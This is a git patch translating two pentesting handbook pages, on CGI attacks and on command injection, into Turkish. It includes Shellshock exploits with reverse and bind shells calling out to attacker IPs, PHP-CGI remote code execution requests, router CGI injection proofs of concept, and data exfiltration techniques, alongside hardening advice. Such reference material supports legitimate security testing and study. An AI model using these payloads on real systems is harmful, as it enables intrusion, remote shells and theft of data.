From 789a831074b00fe9385c6d7196410361f09272fe Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 09:54:52 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md', --- .../pentesting-web/cgi.md | 77 ++++++++++++++----- src/pentesting-web/command-injection.md | 58 ++++++++++---- 2 files changed, 101 insertions(+), 34 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 5daa6870b..22df51fe5 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,27 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Bilgi -**CGI betikleri perl betikleridir**, bu nedenle _**.cgi**_ betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl ters kabuğu** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **yükleyebilir**, uzantıyı **.pl**'den **.cgi**'ye **değiştirebilir**, **çalıştırma izinleri** verebilir \(`chmod +x`\) ve **web tarayıcısından** ters kabuğa **erişebilirsiniz**. -**CGI zafiyetlerini** test etmek için `nikto -C all` \(ve tüm eklentileri\) kullanmanız önerilir. +## Bilgi -# **ShellShock** +The **CGI scriptleri perl scriptleridir**, bu yüzden, eğer _**.cgi**_ çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl reverse shell yükleyebilir** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **uzantıyı değiştirebilir** **.pl**'den **.cgi**'ye çevirebilir, **çalıştırma izinleri verebilir** \(`chmod +x`\) ve **web tarayıcısından** reverse shell'e **erişip** çalıştırabilirsiniz. +CGI vuln'larını test etmek için `nikto -C all` \(ve tüm eklentiler\) kullanılması önerilir. -**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'ın uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin bir bilgisayarda nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **kötü niyetli kod** ekleyerek bunu istismar edebilir ve değişken alındığında bu kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak tehlikeye atmasına olanak tanır. +## **ShellShock** -Bu zafiyeti istismar ederek **sayfa bir hata verebilir**. +**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **vulnerability**dir. Bu zafiyet, Bash'in uygulamalar tarafından iletilen komutları çalıştırabilme yeteneğini hedefler. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **environment variables**'ların manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **malicious code** ekleyerek bunu istismar edebilir; değişken alındığında eklenen kod çalıştırılır. Bu saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır. -Bu zafiyeti, **eski bir Apache sürümü** ve **cgi_mod** \(cgi klasörü ile\) kullandığını fark ederek veya **nikto** kullanarak **bulabilirsiniz**. +Zafiyet istismar edildiğinde sayfa hata verebilir. -## **Test** +Bu zafiyeti, hedefin eski bir **Apache** sürümü ve **cgi_mod** (cgi klasörü ile) kullandığını fark ederek veya **nikto** kullanarak tespit edebilirsiniz. -Çoğu test, bir şeyi yankılamak ve o dizenin web yanıtında döndürülmesini beklemek üzerine kuruludur. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin. +### **Test** + +Çoğu test, bir şeyi `echo`'layıp o dizgenin web yanıtında döndürüldüğünü kontrol etmeye dayanır. Bir sayfanın zafiyetli olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayıp test edin. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(yansıtmalı, kör ve dışa dönük\)** +## **Curl \(yansımalı, kör ve bant-dışı\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Sömürü +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -48,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM'den Web sunucusu isteklerine\)** +## Merkezi CGI dispatchers (seçici parametreler aracılığıyla tek uç noktada yönlendirme) -CGI, http isteğindeki her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur. +Birçok gömülü web arayüzü, tek bir CGI uç noktasının (ör. `/cgi-bin/cstecgi.cgi`) arkasında onlarca ayrıcalıklı işlemi multiplex eder ve isteği dahili bir fonksiyona yönlendirmek için `topicurl=` gibi bir selector parametresi kullanır. -HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. "**Proxy: <IP_attacker>:<PORT>**" içeren bir **başlık** göndermeyi deneyin ve eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabileceksiniz. +Bu yönlendiricileri istismar etme metodolojisi: -# Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Enumerate handler names: JS/HTML scrape edin, wordlistlerle brute-force yapın veya firmware'i unpack edip dispatcher tarafından kullanılan handler string'lerini grep'leyin. +- Test unauthenticated reachability: bazı handler'lar auth kontrollerini unutuyor ve doğrudan callable oluyor. +- system utilities çağıran veya dosyalara touch yapan handler'lara odaklanın; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve öndeki tire `-`'i kaçırabilir. -Temelde, cgi aktifse ve php "eski" ise \(<5.3.12 / < 5.4.2\) kod çalıştırabilirsiniz. -Bu güvenlik açığını istismar etmek için, parametre göndermeden \(özellikle "=" karakterini göndermeden\) web sunucusundaki bazı PHP dosyalarına erişmeniz gerekir. -Sonra, bu güvenlik açığını test etmek için, örneğin `/index.php?-s` adresine erişebilirsiniz \(not edin `-s`\) ve **uygulamanın kaynak kodu yanıt olarak görünecektir**. +Genel exploit şekilleri: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded -Sonra, **RCE** elde etmek için bu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve **isteğin gövdesinde çalıştırılacak PHP kodu. Örnek:** +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +Tespit ve sertleştirme: + +- Merkezi CGI uç noktalarına `topicurl`'un hassas işleyicilere ayarlandığı yetkilendirilmemiş istekleri izleyin. +- Başında `-` olan parametreleri işaretleyin (argv option injection attempts). +- Satıcılar: tüm durum-değiştiren işleyicilerde kimlik doğrulamayı zorunlu kılın, sıkı allowlists/types/lengths ile doğrulayın ve kullanıcı kontrollü dizeleri komut satırı flag'leri olarak asla geçirmeyin. + +## Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) + +Temelde CGI aktif ve PHP "eski" \(<5.3.12 / < 5.4.2\) ise code çalıştırabilirsiniz. +Bu açığı istismar etmek için web sunucusundaki bazı PHP dosyalarına parametre göndermeden (özellikle "=" karakterini göndermeden) erişmeniz gerekiyor. +Daha sonra bu açığı test etmek için örneğin `/index.php?-s`'e erişebilirsiniz \(note the `-s`\) ve **uygulamanın source code'u yanıtta görünecektir**. + +Ardından **RCE** elde etmek için şu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve yürütülecek **PHP code** isteğin **gövdesinde** olacaktır. +Örnek: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Zafiyet ve olası istismarlar hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Yazım Örneği**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**vuln ve olası exploits hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM to Web server requests\)** + +CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" şu şekilde oluşturulur: "HTTP_HOST"="web.com" + +Web sunucusu HTTP_PROXY değişkenini kullanıyor olabilir. Şu **header**'ı göndermeyi deneyin: "**Proxy: <IP_attacker>:<PORT>**". Eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucunun yaptığı her isteği yakalayabilirsiniz. + +## **Referanslar** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 2a7a570ba..cd3a0132f 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## command Injection nedir? -A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system. +Bir **command injection**, bir uygulamayı barındıran sunucuda saldırganın keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesini sağlar. ### Bağlam -Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'`) gerekebilir. +Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'` kullanarak) gerekebilir. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Sınırlama** Bypasses -Eğer bir **linux makinesi içinde rastgele komutlar çalıştırmaya** çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir: +Eğer bir **linux makinesi içinde rastgele komutlar** çalıştırmaya çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametreler -İşte code injection ve benzeri RCE zafiyetlerine açık olabilecek en iyi 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Kod enjeksiyonuna ve benzeri RCE zafiyetlerine duyarlı olabilecek en iyi 25 parametre şunlardır (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -Veri çıkarma: char by char +Veri çıkarma: karakter karakter ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS tabanlı data exfiltration +### DNS based data exfiltration -Aracın kaynağı `https://github.com/HoLyVieR/dnsbin` üzerine kurulmuştur; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır. +`https://github.com/HoLyVieR/dnsbin` aracına dayanmaktadır; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -106,7 +106,7 @@ DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar: - dnsbin.zhack.ca - pingb.in -### Filtreleme atlatma +### Filtering bypass #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'si ile karşılaşırsınız. +JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'siyle karşılaşırsınız. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu nedenle shell'e özel anlamı olan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. +`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu yüzden shell'e özel anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. -**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** sağlayın, böylece herhangi bir shell kullanılmaz: +**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** verin, böylece shell kullanılmaz: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması gerektirmeyen bir WebSocket olayı aracılığıyla saldırgan kontrollü veriyi `id_user` içine yerleştiriyordu; bu daha sonra bir `exec()` çağrısına gömülerek RCE'ye yol açtı (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) + +Tüm enjeksiyonlar kabuk özel karakterleri gerektirmez. Uygulama güvensiz dizeleri bir sistem aracına argüman olarak geçiriyorsa (hatta `execve`/`execFile` ve kabuk olmadan), birçok program `-` veya `--` ile başlayan herhangi bir argümanı yine seçenek olarak parse eder. Bu, saldırganın modları çevirmesine, çıktı yollarını değiştirmesine veya tehlikeli davranışları tetiklemesine izin verir; kabuğa girmeniz gerekmez. + +Typical places where this appears: + +- Gömülü web arayüzleri/CGI işleyicileri that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. +- Merkezi CGI yönlendiricileri (örn. `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. + +What to try: + +- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. +- Abuse flags that change behavior or write files, for example: +- `ping`: `-f`/`-c 100000` ile cihazı zorlamak (DoS) +- `curl`: `-o /tmp/x` ile rastgele yollar yazmak, `-K ` ile saldırgan kontrollü konfigürasyon yüklemek +- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` ile post-rotate yürütme elde etmek güvenli olmayan sarıcılarla +- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. + +Generic PoC shapes against centralized CGI dispatchers: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` ## Brute-Force Tespit Listesi @@ -149,7 +178,7 @@ Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması g https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Referanslar +## Kaynaklar - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) @@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}